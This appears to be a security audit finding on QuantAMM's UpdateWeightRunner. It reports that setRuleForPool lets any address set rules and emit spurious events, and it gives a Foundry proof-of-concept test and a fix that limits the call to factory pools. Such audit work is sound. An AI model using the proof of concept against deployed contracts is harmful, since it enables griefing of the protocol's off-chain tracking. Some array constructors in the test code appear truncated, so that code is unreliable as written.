Summary
The UpdateWeightRunner::setRuleForPool lacks validation that allows anyone to set rules for any address which may or may not be a pool, allowing attackers to grief spam events.
Vulnerability Details
The UpdateWeightRunner::setRuleForPool is used for setting rules for a pool
function setRuleForPool(IQuantAMMWeightedPool.PoolSettings memory _poolSettings) external {
require(address(rules[msg.sender]) == address(0), "Rule already set");
require(_poolSettings.oracles.length > 0, "Empty oracles array");
require(poolOracles[msg.sender].length == 0, "pool rule already set");
However, it lacks checks to see if the calling address is actually a pool
This allows griefers to spam events by simply calling setRuleForPool from any address.
As per the spec given, event emission is indeed used by the protocol for tracking rule changes
emit PoolRuleSet(
address(_poolSettings.rule),
_poolSettings.oracles,
_poolSettings.lambda,
_poolSettings.ruleParameters,
_poolSettings.epsilonMax,
_poolSettings.absoluteWeightGuardRail,
_poolSettings.updateInterval,
_poolSettings.poolManager
);
Hence, it can affect the offchain mechanism of the protocol
Impact
Incorrect Event will be emitted which is not intended
Offchain mechanism griefing can be done by the attackers.
Proof of Concept
Add the below test case inside the UpdateWeightRunner.t.sol file:
function testAnyoneCanSetRule() public {
uint40 blockTime = uint40(block.timestamp);
int256[] memory weights = new int256[]();
weights[0] = 0.5e18;
weights[1] = 0.5e18;
weights[2] = 0;
weights[3] = 0;
int216 fixedValue = 1000;
uint delay = 3600;
chainlinkOracle = deployOracle(fixedValue, delay);
vm.startPrank(owner);
updateWeightRunner.addOracle(OracleWrapper(chainlinkOracle));
vm.stopPrank();
address[][] memory oracles = new address[][]();
oracles[0] = new address[]();
oracles[0][0] = address(chainlinkOracle);
uint64[] memory lambda = new uint64[]();
lambda[0] = 0.0000000005e18;
address randomAddress = vm.addr(321);
vm.startPrank(address(randomAddress));
updateWeightRunner.setRuleForPool(
IQuantAMMWeightedPool.PoolSettings({
assets: new IERC20[](0),
rule: mockRule,
oracles: oracles,
updateInterval: 1,
lambda: lambda,
epsilonMax: 0.2e18,
absoluteWeightGuardRail: 0.2e18,
maxTradeSizeRatio: 0.2e18,
ruleParameters: new int256[][](),
poolManager: addr2
})
);
vm.stopPrank();
}
Tools Used
Manual Review
Foundry
Recommendations
It is recommended to only allow setting rules for pools deployed via Factory contract.